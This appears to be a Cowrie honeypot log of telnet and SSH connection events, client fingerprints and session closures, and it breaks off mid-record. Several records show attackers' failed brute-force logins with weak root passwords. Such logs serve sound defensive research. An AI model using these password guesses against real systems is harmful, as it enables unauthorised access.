{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58096,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ce43de7a70","protocol":"telnet","message":"New connection: 62.210.97.77:58096 (10.17.0.5:23) [session: 43ce43de7a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:14.304513Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37300,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b2c7d2cd51","protocol":"telnet","message":"New connection: 134.209.8.29:37300 (159.203.135.109:23) [session: c6b2c7d2cd51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:14.346071Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:14.661249Z","src_ip":"176.65.132.254","session":"efe576b938a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.07165288925171,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:15.643216Z","src_ip":"165.232.131.181","session":"e945767570b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53295922279358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:16.153455Z","src_ip":"62.210.97.77","session":"8c87b792289e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58100,"dst_ip":"10.17.0.5","dst_port":23,"session":"38bec6dbd958","protocol":"telnet","message":"New connection: 62.210.97.77:58100 (10.17.0.5:23) [session: 38bec6dbd958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:17.255875Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55596,"dst_ip":"10.17.0.5","dst_port":22,"session":"82c9583713c3","protocol":"ssh","message":"New connection: 176.65.132.254:55596 (10.17.0.5:22) [session: 82c9583713c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:17.279649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:17.284662Z","src_ip":"176.65.132.254","session":"82c9583713c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:17.367012Z","src_ip":"176.65.132.254","session":"82c9583713c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.89776945114136,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:17.575742Z","src_ip":"62.210.97.77","session":"eadef4c19e3f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:17.643109Z","src_ip":"176.65.132.254","session":"82c9583713c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":53316,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd871a05b44c","protocol":"ssh","message":"New connection: 45.78.198.206:53316 (10.17.0.5:22) [session: dd871a05b44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:17.737374Z"}
{"eventid":"cowrie.session.closed","duration":36.13859033584595,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:18.011102Z","src_ip":"62.210.97.77","session":"f7e7e8ec779b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:18.741869Z","src_ip":"176.65.132.254","session":"82c9583713c3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:18.759876Z","src_ip":"45.78.198.206","session":"dd871a05b44c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:18.763878Z","src_ip":"45.78.198.206","session":"dd871a05b44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.533271074295044,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:18.931456Z","src_ip":"62.210.97.77","session":"83646430dfb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.15485334396362,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:19.322398Z","src_ip":"38.54.119.93","session":"7118b4f28f06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55598,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d3ad722b254","protocol":"ssh","message":"New connection: 176.65.132.254:55598 (10.17.0.5:22) [session: 3d3ad722b254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:21.184691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:21.189721Z","src_ip":"176.65.132.254","session":"3d3ad722b254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2016","message":"login attempt [root/server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:21.253341Z","src_ip":"45.78.198.206","session":"dd871a05b44c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:21.369597Z","src_ip":"176.65.132.254","session":"3d3ad722b254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.54820370674133,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:21.506205Z","src_ip":"62.210.97.77","session":"3a17e8ddd2ac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:21.779654Z","src_ip":"176.65.132.254","session":"3d3ad722b254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37316,"dst_ip":"159.203.135.109","dst_port":23,"session":"5765d666a3de","protocol":"telnet","message":"New connection: 134.209.8.29:37316 (159.203.135.109:23) [session: 5765d666a3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:22.243722Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:22.537319Z","src_ip":"45.78.198.206","session":"dd871a05b44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:22.863445Z","src_ip":"176.65.132.254","session":"3d3ad722b254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":41964,"dst_ip":"159.203.135.109","dst_port":22,"session":"9132e982eb63","protocol":"ssh","message":"New connection: 176.32.193.16:41964 (159.203.135.109:22) [session: 9132e982eb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:24.153363Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:24.293924Z","src_ip":"176.32.193.16","session":"9132e982eb63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56440,"dst_ip":"10.17.0.5","dst_port":23,"session":"55fb37d8486d","protocol":"telnet","message":"New connection: 62.210.97.77:56440 (10.17.0.5:23) [session: 55fb37d8486d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:24.367836Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":41978,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ca4966d518b","protocol":"ssh","message":"New connection: 176.32.193.16:41978 (159.203.135.109:22) [session: 0ca4966d518b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:24.429432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:24.434543Z","src_ip":"176.32.193.16","session":"0ca4966d518b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:24.575142Z","src_ip":"176.32.193.16","session":"0ca4966d518b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:24.724736Z","src_ip":"176.32.193.16","session":"0ca4966d518b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.029118061065674,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:24.848655Z","src_ip":"134.209.8.29","session":"4c857e25ff7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56306,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f45c776d6c7","protocol":"telnet","message":"New connection: 134.209.8.29:56306 (159.203.135.109:23) [session: 5f45c776d6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:24.868373Z"}
{"eventid":"cowrie.session.closed","duration":38.44264554977417,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:25.235935Z","src_ip":"38.54.119.93","session":"0429bcfdd045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41946,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6b61685aec","protocol":"ssh","message":"New connection: 176.65.132.254:41946 (10.17.0.5:22) [session: 1b6b61685aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:25.367103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:25.372887Z","src_ip":"176.65.132.254","session":"1b6b61685aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:25.455224Z","src_ip":"176.65.132.254","session":"1b6b61685aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.666568756103516,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:25.602983Z","src_ip":"62.210.97.77","session":"acd6958586a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.235687255859375,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:25.648489Z","src_ip":"62.210.97.77","session":"340591958eb3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:25.739488Z","src_ip":"176.65.132.254","session":"1b6b61685aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:26.825582Z","src_ip":"176.65.132.254","session":"1b6b61685aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.590981006622314,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:26.934449Z","src_ip":"134.209.8.29","session":"48ddf5ce8b4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47494,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29b2b870d9e","protocol":"telnet","message":"New connection: 62.210.97.77:47494 (10.17.0.5:23) [session: a29b2b870d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:28.607857Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":33571,"dst_ip":"10.17.0.5","dst_port":22,"session":"511c675a4a7a","protocol":"ssh","message":"New connection: 190.129.122.12:33571 (10.17.0.5:22) [session: 511c675a4a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:28.663052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:28.667724Z","src_ip":"190.129.122.12","session":"511c675a4a7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:28.834326Z","src_ip":"190.129.122.12","session":"511c675a4a7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41958,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59d48d7e208","protocol":"ssh","message":"New connection: 176.65.132.254:41958 (10.17.0.5:22) [session: f59d48d7e208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:29.395221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:29.400106Z","src_ip":"176.65.132.254","session":"f59d48d7e208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 